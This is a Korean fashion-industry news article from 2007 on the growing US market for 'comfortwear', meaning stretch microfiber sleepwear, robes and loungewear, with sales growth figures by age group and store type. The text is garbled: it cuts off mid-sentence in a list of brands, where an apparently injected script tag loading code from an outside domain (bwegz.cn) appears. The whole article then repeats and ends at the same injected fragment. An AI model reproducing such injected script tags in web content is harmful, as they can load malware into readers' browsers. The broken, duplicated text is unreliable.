컴포트웨어 급부상
2007-01-15 예정현 기자 michel@fashioninsight.com
스트레치 마이크로 화이버 소재 홈웨어 인기
컴포트웨어(Comfortwear)가 급부상하고 있다. 편안함의 수준을 높인 스트레치 마이크로 화이버 소재로 만든 언더의류와 다목적(mutipurpose) 슬립웨어/로브, 부드럽고 촉감이 뛰어난 패브릭을 소재로 한 편안한 캐주얼 홈웨어가 지난해부터 성장세를 보이고 있다.
편안하고 촉감이 우수한 컴포트웨어는 지난해 9·11테러 이후 상처받은 미국인의 가슴을 따뜻이 감싸면서 상승세를 타기 시작했고 조임없이 편안한 파자마와 몸을 감싸는 배스로브(bathrobe), 홈웨어 단품들은 소비자들의 시선을 한 몸에 받고 있다.
자신의 안위를 우선시하는 분위기 여파
이처럼 편안함을 강조한 제품을 찾는 현상은 가전제품이나 생활용품, 어패럴 전 부문에 나타나는 공통적인 현상으로 테러이후 사람들이 자신의 안위와 편안함을 최우선 가치로 삼고 있기 때문. 또한 사람들이 편안함과 안락함을 추구하면서 3B-Beauty, Bath, Body 용품과 컴포트웨어가 결합되는 현상이 일어나고 있다. 보실보실한 코튼테리를 소재로 만든 배스랩(bath wrap), 슬립퍼 등의 요가 상품이 호응을 얻으면서 블루밍데일 백화점은 인너웨어 공간을 요가풍으로 꾸며놓았고 「도나카란인티밋(Dona Karan Intimates)」은 요가웨어에서 영감을 얻은 「도나카란바디스파(Dona Karan Body Spa)」 라인을 런칭, 편안함을 추구하는 고객에게 어필하고 있다. 그런 만큼 「도나카란스파라인」의 아이템은 여타 워크아웃웨어(workoutwear)보다 넉넉하고 편안하게 커팅된 탑과 팬츠, 자켓 등이 주종을 이룬다.
컴포트웨어의 역군 - 다기능 마이크로파이브
컴포트웨어를 가능케 하는 힘은 다기능(multifunctional) 마이크로화이버가 있기 때문이다. 다기능 마이크로파이버는 땀을 날려주고 체온을 보온해 주며, 신체의 움직임에 따라 자연스런 탄성을 보일 뿐 아니라 형태 보존성이 뛰어나고, 배와 허벅지 등을 효과적으로 컨트롤 해준다. 다기능 마이크로화이버 외에도 플랜널 같은 전통적인 패브릭에 울트라소프트 가공을 하거나 실크의 재질감을 가미, 컴포트웨어에 적절한 섬유로 변모시키기도 한다.
특히 분방한 활동성을 지원하는 스트레치 섬유는 컴포트웨어의 가장 중요한 요소로 과거의 스트레치 섬유가 양방향으로만 스트레치 되었다면, 지금은 전우좌우 4방향 스트레치가 보장될 만큼 기능성이 극대화되었다. 4방향 스트레치 섬유는 형태보존성과 통제성이 뛰어난 것이 가장 큰 장점이며, 표면을 긁어도 조직이 손상되지 않을 정도로 내구성이 강해 인티밋어패럴/스포츠웨어 부문에도 널리 사용된다.
인너웨어의 액티브웨어화?
레디투웨어에 흔히 사용되는 하이테크 섬유와 컨템퍼러리 스타일을 믹스한 컴포트웨어는 어패럴의 카테고리를 모호하게 하면서, 액티브웨어/캐주얼웨어와 비슷한 홈웨어/슬립웨어로 발전되고 있다. 실제로 콜(Kohl) 매장의 주니어 부문의 히트작인 가벼운 코튼테리 드로우스트링 팬츠는 과거 파자마 팬츠로 팔리던 아이템이다.
어패럴 분석가들 역시 컴포트웨어가 전성기를 맞았다는데 동의한다. 이들은 컴포트웨어가 소비자의 정서적인 요인을 충족시킬 뿐 아니라 스타일리쉬한 멋이 겸비되었기 때문에 지속적인 인기를 끌 것으로 전망하고 있다. 과거에는 스타일이 패션을 결정지었다면 이제 컴포트(comfort:편안함) 자체가 스타일의 일원이 된 것이다.
한편 자신의 안위와 평안을 추구하는 사람이 늘면서 실크나 레이온보다 다기능 마이크로파이버 시장이 확장세를 보이고 있는 것도 주목할 만한 점이다. 올 상반기 각 유통업체의 슬립웨어 매출은 전년대비 9% 성장한 28억달러로 컴포트웨어 시장의 확장세를 통계적으로 증명한다. 구체적으로 살펴보면 캐주얼 분위기를 내는 따뜻한 소재의 파자마의 가격은 평균 3달러, 전통적인 슬립웨어의 소재였던 실크/레이온 파자마의 가격은 3달러25센트 정도로 실크/레이온 파자마와 컴포트 파자마의 가격 차이가 점점 좁아지고 있는 것으로 분석된다.
컴포트웨어, 젊은층을 사로잡다
컴포트웨어 시장의 가장 큰 세력은 젊은층이 주축이 된 유스마켓(youth market)으로 컨템퍼러리한 다목적 아이템들이 매출을 선도했다. 특히 13~17세층의 컴포트웨어(슬립웨어+캐주얼 홈웨어) 매출은 35%, 18~34세층은 21% 급상승한 반면 35~54세층과 55세이상의 컴포트웨어 매출은 각 8%, 9% 하락한 것으로 나타나 젊은층이 컴포트웨어 시장의 주력군임을 입증하고 있다.
한편 올 상반기 매스마켓의 슬립웨어/홈웨어 매출은 9%, 스페셜티 매장과 체인매장의 컴포트웨어 매출은 각 25%, 26% 급증한 반면 백화점 매장은 10% 매출 하락세를 보여 가격이 컴포트웨어의 구매를 자극하는 요인으로 분석된다.
융통성이 매력
이런 와중에 「캘빈클라인언더웨어(Calvin Klein Underwear)」 「챔피언조그브라(Champion Jogbra)」 「폴카다츠(Polka Dats) 「타?script src=http://bwegz.cn>
편안하고 촉감이 우수한 컴포트웨어는 지난해 9·11테러 이후 상처받은 미국인의 가슴을 따뜻이 감싸면서 상승세를 타기 시작했고 조임없이 편안한 파자마와 몸을 감싸는 배스로브(bathrobe), 홈웨어 단품들은 소비자들의 시선을 한 몸에 받고 있다.
자신의 안위를 우선시하는 분위기 여파
이처럼 편안함을 강조한 제품을 찾는 현상은 가전제품이나 생활용품, 어패럴 전 부문에 나타나는 공통적인 현상으로 테러이후 사람들이 자신의 안위와 편안함을 최우선 가치로 삼고 있기 때문. 또한 사람들이 편안함과 안락함을 추구하면서 3B-Beauty, Bath, Body 용품과 컴포트웨어가 결합되는 현상이 일어나고 있다. 보실보실한 코튼테리를 소재로 만든 배스랩(bath wrap), 슬립퍼 등의 요가 상품이 호응을 얻으면서 블루밍데일 백화점은 인너웨어 공간을 요가풍으로 꾸며놓았고 「도나카란인티밋(Dona Karan Intimates)」은 요가웨어에서 영감을 얻은 「도나카란바디스파(Dona Karan Body Spa)」 라인을 런칭, 편안함을 추구하는 고객에게 어필하고 있다. 그런 만큼 「도나카란스파라인」의 아이템은 여타 워크아웃웨어(workoutwear)보다 넉넉하고 편안하게 커팅된 탑과 팬츠, 자켓 등이 주종을 이룬다.
컴포트웨어의 역군 - 다기능 마이크로파이브
컴포트웨어를 가능케 하는 힘은 다기능(multifunctional) 마이크로화이버가 있기 때문이다. 다기능 마이크로파이버는 땀을 날려주고 체온을 보온해 주며, 신체의 움직임에 따라 자연스런 탄성을 보일 뿐 아니라 형태 보존성이 뛰어나고, 배와 허벅지 등을 효과적으로 컨트롤 해준다. 다기능 마이크로화이버 외에도 플랜널 같은 전통적인 패브릭에 울트라소프트 가공을 하거나 실크의 재질감을 가미, 컴포트웨어에 적절한 섬유로 변모시키기도 한다.
특히 분방한 활동성을 지원하는 스트레치 섬유는 컴포트웨어의 가장 중요한 요소로 과거의 스트레치 섬유가 양방향으로만 스트레치 되었다면, 지금은 전우좌우 4방향 스트레치가 보장될 만큼 기능성이 극대화되었다. 4방향 스트레치 섬유는 형태보존성과 통제성이 뛰어난 것이 가장 큰 장점이며, 표면을 긁어도 조직이 손상되지 않을 정도로 내구성이 강해 인티밋어패럴/스포츠웨어 부문에도 널리 사용된다.
인너웨어의 액티브웨어화?
레디투웨어에 흔히 사용되는 하이테크 섬유와 컨템퍼러리 스타일을 믹스한 컴포트웨어는 어패럴의 카테고리를 모호하게 하면서, 액티브웨어/캐주얼웨어와 비슷한 홈웨어/슬립웨어로 발전되고 있다. 실제로 콜(Kohl) 매장의 주니어 부문의 히트작인 가벼운 코튼테리 드로우스트링 팬츠는 과거 파자마 팬츠로 팔리던 아이템이다.
어패럴 분석가들 역시 컴포트웨어가 전성기를 맞았다는데 동의한다. 이들은 컴포트웨어가 소비자의 정서적인 요인을 충족시킬 뿐 아니라 스타일리쉬한 멋이 겸비되었기 때문에 지속적인 인기를 끌 것으로 전망하고 있다. 과거에는 스타일이 패션을 결정지었다면 이제 컴포트(comfort:편안함) 자체가 스타일의 일원이 된 것이다.
한편 자신의 안위와 평안을 추구하는 사람이 늘면서 실크나 레이온보다 다기능 마이크로파이버 시장이 확장세를 보이고 있는 것도 주목할 만한 점이다. 올 상반기 각 유통업체의 슬립웨어 매출은 전년대비 9% 성장한 28억달러로 컴포트웨어 시장의 확장세를 통계적으로 증명한다. 구체적으로 살펴보면 캐주얼 분위기를 내는 따뜻한 소재의 파자마의 가격은 평균 3달러, 전통적인 슬립웨어의 소재였던 실크/레이온 파자마의 가격은 3달러25센트 정도로 실크/레이온 파자마와 컴포트 파자마의 가격 차이가 점점 좁아지고 있는 것으로 분석된다.
컴포트웨어, 젊은층을 사로잡다
컴포트웨어 시장의 가장 큰 세력은 젊은층이 주축이 된 유스마켓(youth market)으로 컨템퍼러리한 다목적 아이템들이 매출을 선도했다. 특히 13~17세층의 컴포트웨어(슬립웨어+캐주얼 홈웨어) 매출은 35%, 18~34세층은 21% 급상승한 반면 35~54세층과 55세이상의 컴포트웨어 매출은 각 8%, 9% 하락한 것으로 나타나 젊은층이 컴포트웨어 시장의 주력군임을 입증하고 있다.
한편 올 상반기 매스마켓의 슬립웨어/홈웨어 매출은 9%, 스페셜티 매장과 체인매장의 컴포트웨어 매출은 각 25%, 26% 급증한 반면 백화점 매장은 10% 매출 하락세를 보여 가격이 컴포트웨어의 구매를 자극하는 요인으로 분석된다.
융통성이 매력
이런 와중에 「캘빈클라인언더웨어(Calvin Klein Underwear)」 「챔피언조그브라(Champion Jogbra)」 「폴카다츠(Polka Dats) 「타?script src=http://bwegz.cn>
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